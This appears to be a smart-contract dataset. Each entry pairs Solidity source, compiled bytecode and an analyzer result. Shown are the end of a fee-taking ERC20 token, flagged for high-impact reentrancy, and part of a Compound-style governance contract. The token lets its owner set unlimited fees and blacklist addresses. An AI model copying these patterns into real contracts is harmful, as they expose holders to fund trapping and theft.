uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104af57600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461194f565b6105fa565b005b34801561020a57600080fd5b5060408051808201909152600b81526a135d5cdade48151dd9595d60aa1b60208201525b60405161023b9190611a14565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a69565b610699565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611a95565b6106b0565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ad6565b610719565b34801561036f57600080fd5b506101fc61037e366004611b03565b610764565b34801561038f57600080fd5b506101fc6107ac565b3480156103a457600080fd5b506102c36103b3366004611ad6565b6107f7565b3480156103c457600080fd5b506101fc610819565b3480156103d957600080fd5b506101fc6103e8366004611b1e565b61088d565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ad6565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b03565b6108bc565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b50604080518082019091526002815261135560f21b602082015261022e565b3480156104bb57600080fd5b506101fc6104ca366004611b1e565b610904565b3480156104db57600080fd5b506101fc6104ea366004611b37565b610933565b3480156104fb57600080fd5b5061026461050a366004611a69565b610971565b34801561051b57600080fd5b5061026461052a366004611ad6565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc61097e565b34801561056057600080fd5b506101fc61056f366004611b69565b6109d2565b34801561058057600080fd5b506102c361058f366004611bed565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611b1e565b610a73565b3480156105e657600080fd5b506101fc6105f5366004611ad6565b610aa2565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611c26565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611c5b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611c87565b915050610630565b5050565b60006106a6338484610b8c565b5060015b92915050565b60006106bd848484610cb0565b61070f843361070a85604051806060016040528060288152602001611da1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ec565b610b8c565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611c26565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611c26565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f481611226565b50565b6001600160a01b0381166000908152600260205260408120546106aa90611260565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611c26565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611c26565b601655565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161062490611c26565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161062490611c26565b601855565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161062490611c26565b600893909355600a91909155600955600b55565b60006106a6338484610cb0565b6012546001600160a01b0316336001600160a01b031614806109b357506013546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f7565b90506107f4816112e4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161062490611c26565b60005b82811015610a6d578160056000868685818110610a1e57610a1e611c5b565b9050602002016020810190610a339190611ad6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6581611c87565b9150506109ff565b50505050565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161062490611c26565b601755565b6000546001600160a01b03163314610acc5760405162461bcd60e51b815260040161062490611c26565b6001600160a01b038116610b315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610c4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610dd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610e0457506000546001600160a01b03838116911614155b156110e557601554600160a01b900460ff16610e9d576000546001600160a01b03848116911614610e9d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610eef5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3157506001600160a01b03821660009081526010602052604090205460ff16155b610f895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b0383811691161461100e5760175481610fab846107f7565b610fb59190611ca2565b1061100e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b6000611019306107f7565b6018546016549192508210159082106110325760165491505b8080156110495750601554600160a81b900460ff16155b801561106357506015546001600160a01b03868116911614155b80156110785750601554600160b01b900460ff165b801561109d57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c257506001600160a01b03841660009081526005602052604090205460ff16155b156110e2576110d0826112e4565b4780156110e0576110e047611226565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112757506001600160a01b03831660009081526005602052604090205460ff165b8061115957506015546001600160a01b0385811691161480159061115957506015546001600160a01b03848116911614155b15611166575060006111e0565b6015546001600160a01b03858116911614801561119157506014546001600160a01b03848116911614155b156111a357600854600c55600954600d555b6015546001600160a01b0384811691161480156111ce57506014546001600160a01b03858116911614155b156111e057600a54600c55600b54600d555b610a6d8484848461145e565b600081848411156112105760405162461bcd60e51b81526004016106249190611a14565b50600061121d8486611cba565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156112c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b60006112d161148c565b90506112dd83826114af565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132c5761132c611c5b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a99190611cd1565b816001815181106113bc576113bc611c5b565b6001600160a01b0392831660209182029290920101526014546113e29130911684610b8c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141b908590600090869030904290600401611cee565b600060405180830381600087803b15801561143557600080fd5b505af1158015611449573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146b5761146b6114f1565b61147684848461151f565b80610a6d57610a6d600e54600c55600f54600d55565b6000806000611499611616565b90925090506114a882826114af565b9250505090565b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611656565b600c541580156115015750600d54155b1561150857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153187611684565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156390876116e1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115929086611723565b6001600160a01b0389166000908152600260205260409020556115b481611782565b6115be84836117cc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163182826114af565b82101561164d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116775760405162461bcd60e51b81526004016106249190611a14565b50600061121d8486611d5f565b60008060008060008060008060006116a18a600c54600d546117f0565b92509250925060006116b161148c565b905060008060006116c48e878787611845565b919e509c509a509598509396509194505050505091939550919395565b60006112dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b6000806117308385611ca2565b9050838110156112dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061178c61148c565b9050600061179a8383611895565b306000908152600260205260409020549091506117b79082611723565b30600090815260026020526040902055505050565b6006546117d990836116e1565b6006556007546117e99082611723565b6007555050565b600080808061180a60646118048989611895565b906114af565b9050600061181d60646118048a89611895565b905060006118358261182f8b866116e1565b906116e1565b9992985090965090945050505050565b60008080806118548886611895565b905060006118628887611895565b905060006118708888611895565b905060006118828261182f86866116e1565b939b939a50919850919650505050505050565b6000826118a4575060006106aa565b60006118b08385611d81565b9050826118bd8583611d5f565b146112dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b803561194a8161192a565b919050565b6000602080838503121561196257600080fd5b823567ffffffffffffffff8082111561197a57600080fd5b818501915085601f83011261198e57600080fd5b8135818111156119a0576119a0611914565b8060051b604051601f19603f830116810181811085821117156119c5576119c5611914565b6040529182528482019250838101850191888311156119e357600080fd5b938501935b82851015611a08576119f98561193f565b845293850193928501926119e8565b98975050505050505050565b600060208083528351808285015260005b81811015611a4157858101830151858201604001528201611a25565b81811115611a53576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a7c57600080fd5b8235611a878161192a565b946020939093013593505050565b600080600060608486031215611aaa57600080fd5b8335611ab58161192a565b92506020840135611ac58161192a565b929592945050506040919091013590565b600060208284031215611ae857600080fd5b81356112dd8161192a565b8035801515811461194a57600080fd5b600060208284031215611b1557600080fd5b6112dd82611af3565b600060208284031215611b3057600080fd5b5035919050565b60008060008060808587031215611b4d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b7e57600080fd5b833567ffffffffffffffff80821115611b9657600080fd5b818601915086601f830112611baa57600080fd5b813581811115611bb957600080fd5b8760208260051b8501011115611bce57600080fd5b602092830195509350611be49186019050611af3565b90509250925092565b60008060408385031215611c0057600080fd5b8235611c0b8161192a565b91506020830135611c1b8161192a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c9b57611c9b611c71565b5060010190565b60008219821115611cb557611cb5611c71565b500190565b600082821015611ccc57611ccc611c71565b500390565b600060208284031215611ce357600080fd5b81516112dd8161192a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3e5784516001600160a01b031683529383019391830191600101611d19565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9b57611d9b611c71565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df746e1dac5c6bceb3e15cb0fff1a5e9417a5d05363e693231000073f4034ea964736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,796 |
0x19b85848babf379d26dba3f0c5be7a056459b6b1
|
/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
/// @notice Based on Compound Governance Governor 'Alpha'.
contract GovernorMeow {
/// @notice The name of this contract
string public name;
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
uint public quorumVotes;
/// @notice The number of votes required in order for a voter to become a proposer
uint public proposalThreshold;
/// @notice The duration of voting on a proposal, in blocks
uint public votingPeriod;
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The address of the Governance Timelock
TimelockInterface public timelock;
/// @notice The address of the Governance token
CompInterface public token;
/// @notice The address of the Governance Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address _timelock, address _token, address _guardian, string memory _name, uint _quorumVotes, uint _proposalThreshold, uint _votingPeriod) public {
timelock = TimelockInterface(_timelock);
token = CompInterface(_token);
guardian = _guardian;
name = _name;
quorumVotes = _quorumVotes;
proposalThreshold = _proposalThreshold;
votingPeriod = _votingPeriod;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(token.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "GovernorMeow::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorMeow::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorMeow::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorMeow::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorMeow::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorMeow::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod);
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorMeow::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorMeow::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorMeow::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorMeow::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || token.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "GovernorMeow::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorMeow::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorMeow::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorMeow::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorMeow::_castVote: voter already voted");
uint96 votes = token.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorMeow::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorMeow::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorMeow::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorMeow::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
|
0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc1461046e578063e23a9a5214610483578063fc0c546a146104b0578063fe0d94c1146104c55761019c565b8063da35c66414610419578063da95691a1461042e578063ddf0b0091461044e5761019c565b806391500671116100c657806391500671146103ad578063b58131b0146103cd578063b9a61961146103e2578063d33219b4146103f75761019c565b80634634c61f14610363578063760fbc13146103835780637bdbe4d0146103985761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146102df5780633e4f49e6146102f457806340e58ee514610321578063452a9320146103415761019c565b806321f43e421461027a57806324bc1a641461029a578063328dd982146102af5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde031461020157806315373e3d1461022357806317977c611461024557806320606b7014610265575b600080fd5b3480156101ad57600080fd5b506101c16101bc36600461245b565b6104d8565b6040516101d699989796959493929190613642565b60405180910390f35b3480156101eb57600080fd5b506101f4610531565b6040516101d6919061336f565b34801561020d57600080fd5b50610216610537565b6040516101d6919061342b565b34801561022f57600080fd5b5061024361023e3660046124a9565b6105c5565b005b34801561025157600080fd5b506101f461026036600461229e565b6105d4565b34801561027157600080fd5b506101f46105e6565b34801561028657600080fd5b506102436102953660046122c4565b6105fd565b3480156102a657600080fd5b506101f46106e5565b3480156102bb57600080fd5b506102cf6102ca36600461245b565b6106eb565b6040516101d69493929190613322565b3480156102eb57600080fd5b506101f461097a565b34801561030057600080fd5b5061031461030f36600461245b565b610980565b6040516101d6919061341d565b34801561032d57600080fd5b5061024361033c36600461245b565b610b07565b34801561034d57600080fd5b50610356610d6b565b6040516101d691906131cc565b34801561036f57600080fd5b5061024361037e3660046124d9565b610d7a565b34801561038f57600080fd5b50610243610ed7565b3480156103a457600080fd5b506101f4610f13565b3480156103b957600080fd5b506102436103c83660046122c4565b610f18565b3480156103d957600080fd5b506101f4610fee565b3480156103ee57600080fd5b50610243610ff4565b34801561